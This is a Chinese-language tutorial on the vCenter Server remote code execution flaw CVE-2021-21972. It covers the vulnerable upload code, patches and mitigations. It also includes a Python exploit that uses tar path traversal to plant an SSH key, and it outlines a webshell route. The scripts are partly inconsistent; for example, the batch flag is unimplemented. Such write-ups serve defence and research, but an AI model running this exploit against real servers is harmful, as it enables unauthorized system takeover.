CVE-2021-21972 vSphere Client RCE复现,附POC & EXP
字数 1343 2025-08-15 21:33:59
VMware vSphere Client RCE漏洞(CVE-2021-21972)分析与利用指南
漏洞概述
CVE-2021-21972是VMware vSphere Client(HTML5)中的一个远程代码执行漏洞,存在于vCenter Server插件中。该漏洞允许未经身份验证的攻击者通过向开放443端口的vCenter Server发送特制请求,实现文件上传并最终获取服务器控制权。
受影响版本
- VMware vCenter Server 7.0系列
- VMware vCenter Server 6.7系列
- VMware vCenter Server 6.5系列
漏洞原理分析
漏洞位置
漏洞位于vCenter Server中的vrops插件,具体路径为:
/ui/vropspluginui/rest/services/uploadova
漏洞成因
- 未授权访问:vrops插件中的敏感接口未进行权限验证
- 不安全文件操作:
uploadova接口允许文件上传且未对文件名进行充分过滤 - 目录遍历:通过
../可实现任意目录文件写入
关键代码分析
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile,
HttpServletResponse response) throws Exception {
// ...
if (!uploadFile.isEmpty()) {
try {
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
// ...
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
while(entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
} else {
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists()) {
parent.mkdirs();
}
// ...
这段代码存在以下问题:
- 直接使用用户提供的文件名拼接路径
- 未过滤
../等特殊字符 - 允许写入任意目录
漏洞利用
利用思路
- 构造包含恶意文件的tar包
- 通过目录遍历将文件写入系统关键位置
- 实现远程代码执行
利用方法
方法一:写入SSH公钥(Linux系统)
- 生成恶意tar包,包含
../../home/vsphere-ui/.ssh/authorized_keys文件 - 通过uploadova接口上传
- 使用对应私钥SSH连接服务器
方法二:写入Webshell
- 构造包含webshell的tar包,如
../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/.../ROOT/shell.jsp - 上传后通过web访问webshell
利用工具
POC代码
# CVE-2021-21972.py
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"
def check_vulnerability(url):
target_url = url + TARGET_URI
try:
response = requests.get(target_url, verify=False, timeout=15)
if response.status_code == 405:
print(f"[+] {url} 存在CVE-2021-21972漏洞")
return True
else:
print(f"[-] {url} 不存在漏洞")
return False
except Exception as e:
print(f"[!] {url} 请求错误: {str(e)}")
return False
EXP代码(SSH公钥写入)
import tarfile
from io import BytesIO
import requests
def create_malicious_tar():
# 创建包含SSH公钥的tar包
tar_buffer = BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
# 添加authorized_keys文件
public_key = b'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC...'
tarinfo = tarfile.TarInfo(name='../../home/vsphere-ui/.ssh/authorized_keys')
tarinfo.size = len(public_key)
tar.addfile(tarinfo, BytesIO(public_key))
tar_buffer.seek(0)
return tar_buffer.getvalue()
def exploit(url):
malicious_tar = create_malicious_tar()
files = {'uploadFile': ('exploit.tar', malicious_tar)}
try:
response = requests.post(url + TARGET_URI, files=files, verify=False)
if response.status_code == 200:
print("[+] 漏洞利用成功,SSH公钥已写入")
else:
print("[-] 漏洞利用失败")
except Exception as e:
print(f"[!] 利用过程中出错: {str(e)}")
漏洞检测
手动检测
- 访问目标URL:
https://[target]/ui/vropspluginui/rest/services/uploadova - 观察响应:
- 返回405 Method Not Allowed:可能存在漏洞
- 返回403 Forbidden或其他:可能不存在漏洞
批量检测
使用提供的POC脚本进行批量检测:
python CVE-2021-21972.py -f urls.txt
修复建议
官方补丁
- vCenter Server 7.0:升级到7.0.U1c或更高版本
- vCenter Server 6.7:升级到6.7.U3l或更高版本
- vCenter Server 6.5:升级到6.5 U3n或更高版本
临时缓解措施
-
在vCenter Server上禁用vROps插件:
service-control --stop vrops-ui-service service-control --stop vrops-service -
网络层面限制访问:
- 限制访问vCenter Server的443端口
- 仅允许可信IP访问管理界面
参考链接
免责声明
本文档仅供安全研究和教育目的使用。未经授权对他人系统进行测试或攻击是违法行为。请确保在合法授权范围内进行所有安全测试活动。